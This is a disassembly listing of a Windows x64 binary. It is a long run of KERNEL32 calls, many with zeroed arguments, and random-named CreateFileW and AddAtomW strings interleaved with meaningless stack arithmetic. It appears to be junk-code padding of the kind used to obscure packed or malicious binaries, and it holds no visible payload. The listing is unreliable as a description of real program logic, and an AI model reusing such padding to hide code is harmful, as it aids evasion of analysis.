lea rcx, str.0ZIfSGZ2L
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xeac8], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xea18]
mov word [rcx], ax
mov rax, qword [0x1401c8b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c7278], ax
lea rcx, [rsp + 0x20158]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x2448]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26f0], ax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8da8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd4b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c0]
mov byte [rsp + 0x427], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x5fc4]
mov ecx, dword [rsp + 0x5b70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6874]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x655c], eax
movsx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0xcba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xa830]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc790], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x2500]
mov qword [rsp + 0xead0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c4], eax
mov rax, qword [rsp + 0xd390]
movzx eax, word [rax]
mov word [0x1401c8f40], ax
mov rax, qword [rsp + 0xe790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdce0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe208], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [0x1401c8c58]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc218], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xead8], rax
movzx eax, word [rsp + 0x237c]
mov word [rsp + 0x275c], ax
mov edx, 0x8e6
mov rcx, qword [rsp + 0xd318]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6890], eax
mov rax, qword [rsp + 0xde60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x25b0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6acc], eax
lea rax, [rsp + 0xc820]
mov qword [rsp + 0xeae0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov eax, dword [rsp + 0x5ed0]
mov rcx, qword [rsp + 0xe918]
mov qword [rsp + 0xeae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeae8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5ad8], eax
mov rax, qword [rsp + 0xd1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x206], al
lea rax, [0x1401c7160]
mov qword [rsp + 0xeaf0], rax
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8bb4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rcx, qword [rsp + 0xc4c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movzx eax, word [rsp + 0xdd4]
movzx ecx, word [0x1401c8bf0]
sub eax, ecx
mov word [rsp + 0x2284], ax
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
mov dword [rsp + 0x6ad0], eax
movzx eax, byte [rsp + 0x374]
mov rcx, qword [rsp + 0xe070]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x427], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8bc0]
mov rcx, qword [rsp + 0xe818]
mov qword [rsp + 0xeaf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeaf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb890], rax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x397]
movsx ecx, byte [rsp + 0x1e5]
or eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x59b4]
shr eax, cl
mov rcx, qword [rsp + 0xd7c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeae0]
mov rax, qword [rax]
mov qword [rsp + 0xeb00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, [rsp + 0x20998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xe978]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6ad4], eax
mov rax, qword [rsp + 0xdb20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d7c]
sub eax, ecx
mov word [rsp + 0xdb0], ax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fe0]
add eax, ecx
mov word [0x1401c727c], ax
mov rax, qword [rsp + 0xdd48]
mov rcx, qword [0x1401c8c88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2c0], rax
mov rax, qword [rsp + 0xd530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe178]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf30], ax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [0x1401c71c8]
mov rcx, qword [rsp + 0xe6c0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
lea rax, [rsp + 0xa3d0]
mov qword [rsp + 0xeb08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov byte [rsp + 0x2a9], al
movzx ecx, word [rsp + 0x1f58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2760], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, str.xsQJalVHFcMkD9DRCXIgm_21Y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2528], ax
mov rax, qword [rsp + 0xe8f8]
mov rax, qword [rax]
mov qword [rsp + 0xeb10], rax
lea rcx, [rsp + 0x20578]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x20ba8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdcb8]
mov qword [rsp + 0xeb18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5b60], eax
movzx eax, word [rsp + 0x148c]
mov rcx, qword [rsp + 0xcfb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xddc], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xcf68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8bf8], rax
lea rdx, [rsp + 0x26098]
mov rcx, qword [rsp + 0xd588]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69f4], eax
lea rcx, str.LrmRKw_K
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2764], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe4f0], rax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x6ad8], eax
mov rax, qword [rsp + 0xe410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd008]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2aa], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6698], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [0x1401c7050]
mov qword [rsp + 0xeb20], rax
mov rax, qword [rsp + 0xd580]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e2c], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0xc840]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa600], rax
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xea30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6adc], eax
xor r9d, r9d
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xde70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6840], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xda40], rax
movsx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0xda08]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcce8]
mov byte [rcx], al
lea rdx, [rsp + 0x26798]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x63ec], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69b0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov edx, 0x1845
mov rcx, qword [rsp + 0xe7a0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6940], eax
mov rax, qword [rsp + 0xcd40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6328]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6818], eax
lea rcx, str.TNQl8tg04H
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2768], ax
lea rdx, [rsp + 0x264c0]
mov rcx, qword [rsp + 0xdd08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x68c0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.2cz9JKbw3ckyILcyqLRMzSo3dch0UAUoUSyx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xeb28], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe250], rax
lea rax, [rsp + 0x19d0]
mov qword [rsp + 0xeb30], rax
movzx eax, word [rsp + 0x2064]
mov word [0x1401c8f44], ax
mov rax, qword [rsp + 0xe5c0]
mov rcx, qword [rsp + 0xb9c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe550], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0xb768]
mov qword [rsp + 0xeb38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9650]
mov rcx, qword [0x1401c7140]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe508]
mov qword [rcx], rax
movsx eax, word [rsp + 0x20dc]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x20e8], ax
mov rcx, qword [rsp + 0xd688]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc590]
mov rcx, qword [rsp + 0xcb58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9570], rax
xor r9d, r9d
lea r8, [rsp + 0xe6b8]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc5e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6a24], eax
movsx eax, byte [rsp + 0xbb]
movsx ecx, byte [rsp + 0x3e2]
sar eax, cl
mov byte [rsp + 0x3c6], al
mov rax, qword [rsp + 0xd870]
mov eax, dword [rax]
mov dword [rsp + 0x6ae0], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov eax, dword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0xe1a8]
mov qword [rsp + 0xeb40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62d0], eax
lea rcx, str.mJuJ2PD_Mh3O8_plB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x276c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x658c], eax
movzx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0xdcf8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x314], al
movzx ecx, word [rsp + 0x2214]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23a0], ax
movsx eax, word [rsp + 0x1e54]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8b08], ax
lea rax, [rsp + 0x1800]
mov qword [rsp + 0xeb48], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd8d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22c8]
add eax, ecx
mov word [rsp + 0x10fc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd7e0], rax
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
mov qword [rsp + 0xeb50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x654c], eax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xd618]
mov rcx, qword [rsp + 0xcf18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9518], rax
lea rcx, [0x1401ae414]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2770], ax
mov rax, qword [rsp + 0xdc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6820]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x65e0], eax
movsx eax, byte [rsp + 0x3c6]
mov rcx, qword [rsp + 0xcb10]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xae], al
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x198c]
sar eax, cl
mov word [rsp + 0x26d8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x672c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xd600]
movzx eax, word [rax]
mov word [rsp + 0x2774], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [0x1401c8de8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401c7260], rax
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2404]
add eax, ecx
mov word [rsp + 0x2134], ax
lea rax, [rsp + 0xd5a0]
mov qword [rsp + 0xeb58], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [0x1401c8c38]
mov rcx, qword [rsp + 0xd400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9eb0], rax
mov rax, qword [rsp + 0xd458]
mov ecx, dword [rsp + 0x617c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x64d4], eax
mov r9d, 1
lea r8, [rsp + 0xd420]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6ae4], eax
mov rax, qword [rsp + 0xea88]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8ef0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2b1], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xd940]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37b]
sub eax, ecx
mov byte [rsp + 0x117], al
mov eax, dword [rsp + 0x6660]
mov dword [rsp + 0x6ae8], eax
mov rax, qword [rsp + 0xcb00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc530]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd128]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd060]
movzx eax, word [rax]
mov word [0x1401c8f48], ax
movzx ecx, word [rsp + 0x234c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2248], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.fWCsxWsBq91P97BGASNc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xeb60], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rcx, qword [rsp + 0xe5c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xe578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x20d8], ax
lea rcx, str.U8X_WF9lOD
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2728], ax
movzx eax, word [rsp + 0x2304]
mov word [rsp + 0x2778], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xe888]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6a94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0xccf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1da4], ax
mov eax, dword [rsp + 0x6670]
mov ecx, dword [rsp + 0x68b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ddc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe1d0]
mov rcx, qword [rsp + 0xd2e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdaa0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x699c], eax
mov rax, qword [rsp + 0xda98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x390]
add eax, ecx
mov rcx, qword [rsp + 0xd880]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1f60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25e4], ax
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xe588]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6aec], eax
movzx eax, word [rsp + 0x2190]
mov word [rsp + 0x277c], ax
movzx eax, word [0x1401c8a98]
movzx ecx, word [rsp + 0x14a0]
sar eax, cl
mov word [rsp + 0x2564], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6710], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xe4b8]
mov rcx, qword [rsp + 0xc5e8]
or rcx, rax
mov rax, rcx
mov qword [0x1401c8d78], rax
mov rax, qword [0x1401c8c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe6f0]
mov qword [rsp + 0xeb68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xadd0], rax
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xe508]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc9d0], rax
mov rax, qword [rsp + 0xd3a8]
mov qword [rsp + 0xeb70], rax
mov rax, qword [rsp + 0xe160]
movzx eax, word [rax]
movzx ecx, word [0x1401c8bbc]
xor eax, ecx
mov word [rsp + 0x1840], ax
movzx eax, byte [rsp + 0x41b]
cdq
mov ecx, 0xba
idiv ecx
mov rcx, qword [rsp + 0xdb60]
mov byte [rcx], al
mov rax, qword [rsp + 0xd430]
mov ecx, dword [0x1401c8a1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ac0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6af0], eax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xcf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdfc8], rax
mov rcx, qword [rsp + 0xd960]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2640], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6af4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0x6154]
mov qword [rsp + 0xeb78], rax
xor r9d, r9d
lea r8, [rsp + 0xda80]
mov rdx, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xe650]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64a8], eax
movsx eax, byte [rsp + 0x386]
movsx ecx, byte [rsp + 0x38f]
sar eax, cl
mov byte [0x1401c702b], al
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b38], ax
movsx eax, word [rsp + 0x1cf4]
mov rcx, qword [rsp + 0xd8e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2060], ax
mov rax, qword [0x1401c8d48]
movzx eax, word [rax]
mov word [rsp + 0x2780], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6af8], eax
mov rax, qword [rsp + 0xa3e8]
mov rcx, qword [rsp + 0xe5c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
lea rcx, [0x1401ae468]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2710], ax
mov rax, qword [rsp + 0xdb28]
movzx eax, byte [rax]
mov byte [rsp + 0x428], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, [rsp + 0x202d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.kpMye_b5m7Q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xeb80], rax
mov rax, qword [rsp + 0xdfd8]
mov rcx, qword [rsp + 0xcb50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdcb8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a0], eax
lea rcx, [rsp + 0x20758]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd850]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd428], rax
movzx ecx, word [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2784], ax
mov rax, qword [rsp + 0xeb20]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c70], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x654c], eax
lea rax, [rsp + 0x209c]
mov qword [0x1401c8f50], rax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xe770]
mov rcx, qword [rsp + 0xa3d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdbd0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1488]
mov qword [rsp + 0xeb88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdf48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xcaf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401c8a1c]
shl eax, cl
mov dword [rsp + 0x6200], eax
lea rcx, str.dyE_vQ_WJspo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2788], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rcx, [rsp + 0x203c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68b8], eax
lea rcx, [rsp + 0x20bd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xe4e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
